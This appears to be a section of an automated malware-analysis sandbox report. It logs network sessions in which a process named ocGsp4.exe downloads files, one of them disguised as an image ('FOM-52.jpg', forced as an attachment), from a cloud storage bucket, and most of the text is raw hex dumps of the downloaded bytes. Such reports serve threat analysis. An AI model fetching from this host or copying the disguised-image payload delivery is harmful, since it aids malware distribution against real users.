2025-01-16 02:54:56 UTC	3548	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: 42 cc 3b 8b 04 80 dc 85 89 f7 db 86 4b ce 35 a8 af fe 41 fa 0c 61 84 11 0a 1b 74 3d 42 1d 8b ea 87 f2 e5 bc 47 e4 9b f0 a1 6a 44 3d f7 aa 85 fc 7c 66 99 44 42 66 08 55 a3 c2 72 d1 08 6f b1 b4 88 fb 14 6d f7 a2 e6 b1 0a 4b a7 cc 8d 43 ca 42 55 ba 2d 50 3b de 75 e4 69 e5 a6 45 fe 3f 88 51 f2 8f 9a e2 49 ea ad 5a da 33 4e a3 3e d5 c6 6e c7 d1 e8 c5 06 f1 38 15 6c 30 51 e9 b2 ec bd f6 b7 43 20 6c 37 8a c5 69 36 0c 71 9e eb 37 4c 5e 64 2d ba 15 c3 be 23 92 69 e8 07 8e 31 8e 32 59 a6 f5 54 50 cc a6 0d cb 70 1b 9f a8 37 28 8e 8c a8 b6 58 2d d6 5f 3e e5 51 37 e9 fc c0 79 61 49 dc 37 0b d7 f9 38 30 21 a3 63 4a 50 26 80 0f ad 3c d1 89 c4 d8 15 09 d3 5c 40 7c a4 b7 fe fc 2d 89 04 24 ad d9 e2 58 57 f8 d2 39 21 f1 85 1f 5d ae 5b 62 f2 2d 86 49 5e 70 f6 14 48 c1 63 66 Data Ascii: B;K5Aat=BGjD=\|fDBfUromKCBU-P;uiE?QIZ3N>n8l0QC l7i6q7L^d-#i12YTPp7(X-_>Q7yaI780!cJP&<\@\|-$XW9!][b-I^pHcf
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: 55 c7 be c5 78 ee 64 cd 2e 33 d8 00 81 41 01 fc 96 f3 c2 68 5b e3 86 3a 52 14 eb 36 47 9c d8 8b 1b 75 f9 f2 3e 9e 6a 5c af ac 2d 01 59 f6 e4 ed f8 06 96 96 25 32 d9 55 c2 2b cd d9 43 84 c0 8f da 8a 2e 4e 40 af e4 ef 68 35 b1 db 47 6c 13 6a 58 3b 70 ee a1 fc f0 ea cf 6e ad 25 29 22 ee a3 88 45 8b c6 2a 08 f5 8e fe d9 90 64 31 57 f5 7b 69 f4 88 ee 13 ee 88 13 dd fe 62 86 d5 85 88 9b aa 98 eb ae 62 7e dd 59 12 19 69 99 a8 6c 0d 6f 92 a5 a3 77 6e d0 53 bb 17 f4 5f d6 e6 1f 4a cf 6d f7 92 79 05 8e d4 33 04 97 04 b6 95 73 06 7a e5 99 05 66 48 93 78 17 26 6e e6 6b 89 ba b3 4a 9a d7 ee e1 45 2d c4 d9 46 38 58 a3 e7 df cb c0 a8 8b 48 54 ab ab c9 2b 10 28 f1 1f 7e 00 6d 13 0b 8f 10 81 c8 3f 99 d0 f4 09 6e a8 37 1d 0d 72 39 87 d5 f2 12 b6 cb fa 95 c3 25 72 27 66 14 Data Ascii: Uxd.3Ah[:R6Gu>j\-Y%2U+C.N@h5GljX;pn%)"E*d1W{ibb~YilownS_Jmy3szfHx&nkJE-F8XHT+(~m?n7r9%r'f
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: 45 e5 5e 68 30 58 bc f3 3c 4c f2 55 29 ac 64 46 5d 3a 9d 79 a5 77 53 ff 44 c3 e1 4a bd ab 8a bd d4 75 ea e1 2a ee 82 37 b9 6b 8b 4d 69 c9 72 b7 c8 66 c5 06 1b db fb d1 44 d1 f5 36 5b 9f 70 43 e3 b9 cc 9d 24 02 a0 15 1a ee 33 51 a6 de 11 4b 6e 87 8e 08 53 81 c7 39 1d bd 06 98 20 7a 9b 47 b4 aa c5 34 08 11 e2 e2 77 2e 0a 28 8a 33 9b 65 f3 3a 67 17 4e 17 e5 d0 55 59 0e 94 52 4b da e3 d0 7a 25 77 a6 34 0e aa 88 bd f9 1f a8 08 f8 42 83 d2 79 43 2f 04 cc aa cd fb df 7b c0 14 58 c6 51 a2 5e 37 42 12 e5 22 53 12 9f 78 be b5 39 59 c1 b2 1b 55 3b d8 b9 8f e2 36 93 6c 44 d2 80 9d 04 d2 7c 54 bb a2 23 a2 95 da 63 2d 43 a0 da 70 ab 87 c5 6b ef 95 b1 2a bd 9b 5e 30 06 ef 83 ea 01 6e 63 4c 04 68 89 7a 93 34 80 33 0b 68 86 5c 60 2f 6b 05 3f d6 5f 19 77 94 92 45 e3 e4 5c Data Ascii: E^h0X<LU)dF]:ywSDJu7kMirfD6[pC$3QKnS9 zG4w.(3e:gNUYRKz%w4ByC/{XQ^7B"Sx9YU;6lD\|T#c-Cpk^0ncLhz43h\`/k?_wE\
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: c3 8f ae 6b a3 4e 8c 8c 89 8a 8b bb 66 fa 15 1c 40 d7 45 6a 0d 3c 0a ea 62 81 9f 9c 9d 9e b3 ea 13 ac cb d0 8f f2 eb dc 40 32 33 15 5f dc 2b 1c db c0 69 be 0d f5 9a fc b0 a5 8c 0d 14 ff 63 f5 b9 a4 8d b4 ad be 22 34 78 e5 cc 65 24 7e f7 de d1 9a 58 cb 99 5d 98 d0 31 c2 08 cf dd 57 4b b4 a1 1c 1c 1b b7 d4 3e 65 a5 e6 e3 12 2f 65 7b e1 ee 0d 0c 0b fa 6d b3 dc fd 3b 87 d8 fc 7c 7e dd 05 02 03 04 6d 3f 57 b6 57 83 5f 29 0d 83 6b 34 1d fb 27 35 0f 16 ff 3b 16 00 1b 13 18 f6 b1 66 21 22 45 ad 33 ab 43 0c 2d c3 cf b7 0c 2e 49 3f 87 34 b9 62 37 5e 2b 2f 1b 64 ba fa 3f 3e 3f 40 43 80 25 cd 43 cb 23 6c 4d a3 0c bf 51 4e c4 67 da 15 57 3c e4 e7 7f b8 99 36 7f 5e 9c 51 d2 37 d9 7b 63 80 ac 75 5b 79 44 1a 33 ad 95 60 78 00 1d 23 18 b0 aa 39 1f 25 1a a3 fc d2 ed 9d d9 Data Ascii: kNf@Ej<b@23_+ic"4xe$~X]1WK>e/e{m;\|~m?WW_)k4'5;f!"E3C-.I?4b7^+/d?>?@C%C#lMQNgW<6^Q7{cu[yD3`x#9%
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: 2c 4d a6 a0 20 85 bf 62 23 7d 82 17 a5 30 de 99 08 fd bd 71 3f 39 61 73 43 04 d3 d0 32 6b df ec 1f f3 aa 3d 7b 0a ac d4 c6 23 eb ed fa 6d 34 b5 ed 0c e2 bd 2c ed e9 83 bc 4d 87 be 3e 5f 02 ba 42 ba da 19 39 86 8b 76 98 c3 52 60 65 25 e5 a0 40 e2 e2 87 c6 57 a0 12 c5 86 50 1e d8 82 61 b1 e8 7b 70 85 f2 3b b7 dd 68 1e f0 82 30 32 37 c7 33 54 06 4a a4 ff 6e be 09 90 75 b8 64 7a 3e 21 db ce 6f 5c 64 44 b9 59 00 93 ff 91 7d e8 f9 20 94 90 60 c8 6f 44 97 f9 8e b9 3f 4e a3 4f 16 b9 47 f2 81 03 6a 69 e2 21 55 c2 e5 97 52 04 26 ef ae c8 f0 44 77 88 66 31 a0 58 9d 00 de 3e a6 b9 c8 84 84 87 db 90 d9 4b f7 1b 42 d5 22 bd 5d b8 39 1d f5 0a 38 c0 d7 f6 11 bc a9 e2 0c 57 c6 d6 d2 a9 8d 6a 24 3b 74 4e 4b d1 a2 f8 51 7c c5 b8 66 61 13 6e 3f 61 be 64 71 7e 98 bf 08 7c a7 Data Ascii: ,M b#}0q?9asC2k={#m4,M>_B9vR`e%@WPa{p;h0273TJnudz>!o\dDY} `oD?NOGji!UR&Dwf1X>KB"]98Wj$;tNKQ\|fan?adq~\|
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: 94 13 4b ba 59 94 28 79 a8 e0 04 9d d9 34 71 d1 8c 52 64 54 a0 2b 3c 9c 31 d6 31 5f dd b0 e1 72 5d e3 d3 0b c9 a4 8c fb 2c 74 4a 06 21 9f e8 77 ac 0e 7a 81 04 97 79 d9 a7 dd 40 e7 17 4f ab a4 75 32 04 32 e1 14 a8 64 5f 11 ea c6 56 50 d4 0e a9 a2 60 f3 93 c9 f3 5b a6 1a 47 9d 93 21 ea 45 f3 4d b6 6f fb a9 28 33 1d 5a 7f 16 47 e8 cf ef 81 45 43 18 41 ba 88 08 34 0b 76 70 e2 cb ca 69 b2 1e ec 31 ce 87 99 c8 ea 75 26 3c 60 26 76 99 85 6f 63 0e 0a a5 9a c7 af 0b ca ae 36 08 d2 74 3d 9c 9f c4 1f ad bf b0 84 3c 40 df 89 dd 19 5a d3 d7 79 ab d7 2e 2a a0 76 2f e6 75 8b 65 39 ad 89 15 b0 7f fa 18 c5 c7 ac b2 d7 44 6c f2 c9 cc af e9 40 b3 57 30 a5 f3 1f f5 06 cf 73 14 18 f9 0d 72 f7 19 79 98 57 e5 11 81 1a 41 9d 8f a7 7d ea 03 5c 14 65 f8 a6 73 dd d4 70 b3 48 cb 66 Data Ascii: KY(y4qRdT+<11_r],tJ!wzy@Ou22d_VP`[G!EMo(3ZGECA4vpi1u&<`&voc6t=<@Zy.*v/ue9Dl@W0sryWA}\espHf
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: 7e 30 df f0 37 2c a5 37 4f 4c e2 13 7c d1 f8 91 c5 fa be cf 9e 00 28 6a dd ff a3 dc ca c7 5f af 65 39 20 43 0f 76 27 75 a7 a8 f1 fa 94 9f e4 b0 f7 a8 82 87 3b 0a 53 b7 20 93 c5 42 21 59 4a 44 cf 6d 00 01 ce a2 49 10 81 c0 c4 c2 ee b6 e5 6b df 46 07 d3 21 07 58 b3 27 fb fe f2 08 3e bc 0d 03 78 9c 6a b4 0f 93 15 14 83 ae 77 c8 e3 dc db 3a e9 9b 9d 1c c6 8a 7b 52 97 8e 19 85 b7 fb c2 a6 6b fd 94 63 78 f1 63 13 10 63 6f 18 d5 92 b6 d1 b7 a2 84 9b d4 90 d9 84 fc ef a5 a6 c5 ba b6 64 c7 fe d4 d4 23 c0 71 8e e4 e7 87 ee e0 7b 41 ab 03 0e d0 58 f4 61 98 ac 8a bc 7f 9b 4c 5a 39 6c 26 9a c8 d3 6c b4 71 fa 5a e7 33 7a 60 25 a6 5a 83 a7 05 e0 89 ab f3 71 7b 1f 34 10 5a c9 8f 29 a8 53 58 fe 56 32 96 b8 9e 3a d9 ee 0c 60 09 71 b5 2b 70 55 a8 b7 e2 8b 6b 95 ad 89 2f ca Data Ascii: ~07,7OL\|(j_e9 Cv'u;S B!YJDmIkF!X'>xjw:{Rkcxccod#q{AXaLZ9l&lqZ3z`%Zq{4Z)SXV2:`q+pUk/
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: e7 04 8e cb 30 d6 37 73 19 58 f3 d5 05 6a d7 87 a6 a4 b9 8e a3 5d cc d5 8b 34 ca e2 6a a0 78 0e e3 7b 1c 29 5a a6 5b 55 62 f1 e6 be 23 a0 43 ad e5 d7 92 f7 b3 96 4f 03 54 71 e0 f1 af 06 a6 f0 00 d1 7e 0a b5 f4 09 e0 28 9e fb 47 84 32 32 1b 8a 9f c1 2e bc e2 8e a0 2e ff 90 dd 7e c7 83 94 f3 d0 5a 05 5e 0b 2c b3 a4 f8 4a e7 0f 49 f6 3d ff 18 c0 83 1f 5d f8 00 bd db 23 65 28 8b 33 a9 4d 2b 81 26 66 9c dc 18 b6 96 f5 c0 bf 49 34 bb da 49 5e 06 d6 0f 1c e9 ba c4 8c 4c bb 0d 49 a4 6a fd d0 ef 7e 6b 35 34 10 92 02 52 67 16 58 07 e6 47 e0 dc bb dc 14 5e a1 d9 f0 67 70 2c ed fa 8f ca 33 6f ad 4f 2b e0 78 1e f0 18 a4 c5 e4 02 81 a3 0f 9f 0e 1b 45 92 27 fc 39 cc be 57 c0 4c f8 c9 c4 77 47 d4 ac 33 24 78 3d f0 d1 e4 b8 d2 ce 88 69 21 65 3a 2c 1f 95 b1 20 31 6f 2a 06 Data Ascii: 07sXj]4jx{)Z[Ub#COTq~(G22..~Z^,JI=]#e(3M+&fI4I^LIj~k54RgXG^gp,3oO+xE'9WLwG3$x=i!e:, 1o*
2025-01-16 02:54:56 UTC	4096	IN	Data Raw: be d0 2a 4c 19 64 3b ba 0e 94 4e 20 15 9f c2 86 3a 4f 85 f3 ee 58 cd 35 91 2f 10 20 88 da 3e c0 05 f8 22 66 79 44 a0 a8 56 48 12 18 4c 26 67 bf 07 bd 0e 8a 4f b7 62 4f 64 7b 46 88 30 02 d0 63 3b 3d 3c 2c 8c 51 e6 c8 ad 43 c5 a4 f1 40 de 99 5c b6 f7 dc 3c 7d 03 cf d9 bc 50 d4 5c 1b dd e0 e1 e2 85 6d a9 c3 e7 80 7d cd 51 5d 8b 19 fb d4 7c 96 d7 f0 1c 7d 23 ef f9 3d bf d8 fd 3e b9 23 40 ea b3 f0 27 06 c6 ea 0b 81 ce 0f cf e6 d6 16 19 12 9a 03 7d 2b 37 16 c5 97 7f 38 15 f7 a1 1d 02 22 4b 1f a3 92 9d c1 35 82 21 2c 90 85 a7 9e 04 28 f5 b1 d9 e8 96 b1 29 17 fc ee 8c bf c7 80 28 0e ea b1 fb 7e 34 d7 f3 21 35 2f 26 43 09 73 42 b5 c9 ae 73 45 1e 38 5f c7 ea 8b e0 a7 ba f0 52 79 4f c7 e5 a4 8b dd 4b 28 03 3d a1 25 9f ac b6 97 e3 25 09 20 15 2d d1 f6 c6 3d 63 88 5a Data Ascii: *Ld;N :OX5/ >"fyDVHL&gObOd{F0c;=<,QC@\<}P\m}Q]\|}#=>#@'}+78"K5!,()(~4!5/&CsBsE8_RyOK(=%% -=cZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	63252	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:06 UTC	115	OUT	GET /FOM-52.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:07 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:07 GMT Content-Type: image/jpeg Content-Length: 5062442 Connection: close x-oss-request-id: 6788750A3849223731CBEFA9 Accept-Ranges: bytes ETag: "70C21DA900796B279A09040B00953E40" Last-Modified: Mon, 18 Nov 2024 15:32:22 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 360383310743409046 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: cMIdqQB5ayeaCQQLAJU+QA== x-oss-server-time: 74
2025-01-16 02:55:07 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: f5 f5 f3 fb ff fd f3 f5 f7 f5 f3 eb ef ed d3 d5 d7 d5 d3 dd bf a7 d3 d5 d3 d5 d3 2d 2f 2d 33 37 37 75 32 3d 3f 2d 33 35 27 35 33 2d 2f 3d 53 55 47 55 53 5d 5f 5d 53 45 57 55 53 11 b2 50 73 3f 77 75 73 f1 8d 4d 73 a9 77 75 73 6d 3f 17 53 b5 56 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 35 37 35 33 3d 0f 47 33 15 2c 35 33 2d 2f 2d d3 d5 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 f5 f7 f5 f3 fd ff fd f3 f5 f7 f5 f3 4d c9 97 d3 95 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 2d 1f 00 33 51 37 35 33 3d 3f 3d 33 35 37 35 33 2d 2f 2d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 43 1b 08 0b 01 77 75 73 1e cd 7c 73 75 67 75 73 6d 6f 6d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 15 37 35 53 13 4d 59 52 41 56 35 33 e5 a6 2d d3 d5 07 d4 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 Data Ascii: -/-377u2=?-35'53-/=SUGUS]_]SEWUSPs?wusMswusm?SVUS]_]SUWUS-/-35753=G3,53-/-M-3Q753=?=35753-/-SUWUS]_]SUWUSCwus\|sugusmomSUWUS]_]SUWUS-/-375SMYRAV53-
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: d1 7d e2 3a fb d9 7f 2d 5c 08 7e 89 cb e9 3a 78 19 d3 d3 54 a8 dd 3b c0 68 9c d3 da f6 a0 3f b8 09 85 13 9c b2 89 02 f5 bb 84 84 22 99 a1 5c eb db e4 e4 52 d7 a8 84 57 57 3d d3 53 dd 2c 15 fe 48 f8 17 59 7b 94 02 a5 74 75 f2 ab 6b 6d 53 55 5c 97 a4 8d b7 85 fd 1e 57 33 82 c4 fc f5 5b b3 98 02 7d b4 7b 18 33 b8 53 11 3f c4 e7 e4 99 d5 df 7a 12 6b f1 4b ab 5b 8f 5c 2e 0b c5 75 fb 0d d3 04 7a 6d a5 1d 7f b1 af 41 46 fd 97 72 44 70 9c 6c f0 98 c6 38 c7 3a 4f 9d 67 53 5d 8b 18 45 fa 27 78 f9 2c e7 bf e3 1a 15 03 e6 d9 54 24 d6 03 bf c8 c3 24 e4 ff 0d e1 62 93 bb 32 d3 1d e0 a9 69 56 22 dc 79 04 9f f6 79 91 f4 ce a4 27 3e 2c 7c 5a 6b f3 21 34 52 4f 12 6e 97 99 0b 32 20 48 ad 50 69 a7 06 6a 8b 46 53 7e 44 e7 8d 63 9d 43 d3 36 f2 39 ef 4b 76 db 20 c3 a9 cd f4 6d Data Ascii: }:-\~:xT;h?"\RWW=S,HY{tukmSU\W3[}{3S?zkK[\.uzmAFrDpl8:OgS]E'x,T$$b2iV"yy'>,\|Zk!4ROn2 HPijFS~DcC69Kv m
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: 5c f2 f3 f2 cb a8 4e 59 1d d2 ce 66 43 81 7b ff 67 50 14 99 fb dd 4e 2d 27 1b 3b 32 e1 3d 33 3a 03 dd 71 52 2f 3d b3 f7 09 f2 37 09 35 05 d2 00 d7 a7 6e a2 5b 79 ad 9f 96 b5 c6 ed 9d 66 b3 39 53 74 34 ad bd bc 93 b3 fe 71 77 93 a5 84 18 86 55 55 ba d3 80 5c 53 d8 33 71 4b ee a2 49 17 31 de 70 f5 2e 3f d4 1a 6a 27 35 da f8 c9 29 d3 3d 14 a5 d5 dd 18 d9 f7 74 d2 59 bd 8b 6e 18 e6 02 30 b1 d7 f9 6b fa e2 61 91 0a 36 8b dc 30 3b 0f bb de d3 87 8c 44 53 a3 22 0d aa a3 e3 13 d4 68 4b 97 1e 19 a2 5f ef 4f 5c 9c 5f 83 e2 ed 0e 6b 27 d3 18 e0 1f 57 f6 99 4e 8f 66 e4 e9 d6 c4 39 a5 10 98 95 71 d9 7b bc 71 9c 9c 89 c1 9c 58 3a b4 2b 66 f8 3c 84 df 79 ba 43 96 ad af 4f c6 9e 70 72 72 50 0a 98 50 ac 17 9d c0 f8 94 89 96 25 87 df 01 09 25 05 6d 3f 30 e0 76 8e 06 07 6c Data Ascii: \NYfC{gPN-';2=3:qR/=75n[yf9St4qwUU\S3qKI1p.?j'5)=tYn0ka60;DS"hK_O\_k'WNf9q{qX:+f<yCOprrPP%%m?0vl
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: 20 fb 64 56 1a 91 6e df 20 2c 89 77 e2 e2 05 39 f2 8e f5 00 2d 52 de 02 01 04 ca 1a ce 6a d2 47 a1 f6 d0 fe 59 5f 7b be ab de 7e b5 7b 3a bc 5c 60 b4 14 c4 40 8e 4f 1b d3 50 30 ca 88 05 19 87 a6 6c 44 9c 38 ec 39 0e 59 7b 02 e0 f1 72 5e f5 ad 67 1a cd 99 59 ab ba 5e 62 b2 6a a6 96 6c 3f b0 7f 47 31 af f9 8d b1 e6 2c 04 cc 68 ac 20 ea 27 da fc 3a c9 29 c2 2d 03 bc 6d b2 50 da 12 b2 4e b6 81 da 21 4d f8 86 bb 30 9c c3 3a 42 00 c7 75 98 22 d5 e2 ed f7 ca c4 d5 09 a4 4e 82 04 d4 70 9c 5e b4 e3 6c a8 46 17 b5 25 7a 7b b5 5c 61 52 62 b2 1a fe 80 42 8b a0 8b af 69 84 9a 79 9f 8b 45 e0 9d 05 e1 0c 2d e5 1f 50 b8 e2 04 38 e7 df 32 37 b0 48 b1 af 82 c3 27 a8 d2 aa e1 62 df e9 b2 a2 12 f5 be 96 d6 5d 5d 4d 27 3a 1a 32 92 06 ad 9a 5b a6 db 14 ee 80 13 e1 a7 67 c5 71 Data Ascii: dVn ,w9-RjGY_{~{:\`@OP0lD89Y{r^gY^bjl?G1,h ':)-mPN!M0:Bu"Np^lF%z{\aRbBiyE-P827H'b]]M':2[gq
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: 11 ac 16 c6 07 c4 9d 58 cd bb f4 f0 2b 3a 16 5a da 8a 33 81 27 42 b4 e4 1c b3 44 f3 eb 30 85 ed 13 a0 b4 46 35 68 06 83 59 2b bf 9b 83 03 97 31 12 15 bc 78 b1 76 b9 71 21 32 04 6b 81 a4 83 32 6f d6 69 98 27 df ea f9 0c 4f 4b 67 2f 4b 06 67 44 04 ef 78 60 0a 1a 43 f5 40 32 c2 0d 65 17 e5 08 cc a8 23 c1 d9 dd 70 6e 88 fc 7f 8d 81 6d 3c 8a c0 7c 8f 3d 55 13 79 ca fa 4f 7d 9f 59 1f ab 7a 58 3c b6 7e 0a 9f 2b 23 7e 6a 96 9f 38 e0 63 e5 5a 1a 32 5b b4 2a 2e c8 4b fc 30 60 d4 a2 2b 2b bb 40 ab 29 c3 47 5a c5 72 2a 67 22 60 fd 3a 2c 8c 49 94 ad 10 8c f4 1c aa 13 b2 44 63 6e 0d 2e 1c 0e 75 75 75 69 83 57 e4 6c 56 e5 7f 18 20 b8 d1 37 88 2a 1b 65 fe 57 b8 31 b5 b2 3c d8 01 d7 18 1c 20 44 7d d7 1c 11 ca 50 b1 34 77 e7 17 39 01 6f c0 e8 d3 94 88 53 e8 54 bc 80 c3 59 Data Ascii: X+:Z3'BD0F5hY+1xvq!2k2oi'OKg/KgDx`C@2e#pnm<\|=UyO}YzX<~+#~j8cZ2[.K0`++@)GZrg"`:,IDcn.uuuiWlV 7*eW1< D}P4w9oSTY
2025-01-16 02:55:07 UTC	4096	IN	Data Raw: ef cc 4c d0 d3 09 06 21 8c 0a e4 fd 58 ee 29 db 81 82 6d c1 a4 30 bc c1 88 36 cd ab 62 b5 32 ab fb fb ec 20 e3 1f be d1 52 c7 7b bf 58 54 f3 43 f2 8d 0e 8b f7 13 10 a0 bb 4f ee a1 7a 27 8f 37 90 b6 93 e7 12 94 df b3 75 98 ed 5e 3f 26 b3 6b dc e4 4b ac 06 65 59 29 76 21 46 e6 59 50 ec 8d 23 41 76 61 bd b4 2a c0 a1 d0 00 7d 85 b9 46 a9 73 14 b0 38 5b 50 8e c5 4d 41 4e b1 33 ec 52 c8 9b 60 d6 75 f5 94 ee 23 f4 6f f6 e6 d2 e9 4d 56 be d7 e4 8f 26 6e aa 79 e5 e6 5e 13 6c 17 b6 e2 e2 11 f5 fe 7e 0b 44 9b c6 aa 3a f9 70 8c 7b bc 07 41 a6 db 37 9c 40 ed 30 d4 63 08 f2 34 c3 bc 19 00 1b 0e a0 05 0a d9 18 ea e0 fd 6c 8a 5d c5 2d 44 59 87 c8 6a f8 9f 94 42 5d b7 0d 78 f1 3b 58 f0 58 03 2c 94 05 87 6d 14 59 c3 c8 52 68 6d 20 54 3c df df dd d3 b3 5e da 3a d6 ef ef f3 Data Ascii: L!X)m06b2 R{XTCOz'7u^?&kKeY)v!FYP#Ava*}Fs8[PMAN3R`u#oMV&ny^l~D:p{A7@0c4l]-DYjB]x;XX,mYRhm T<^:
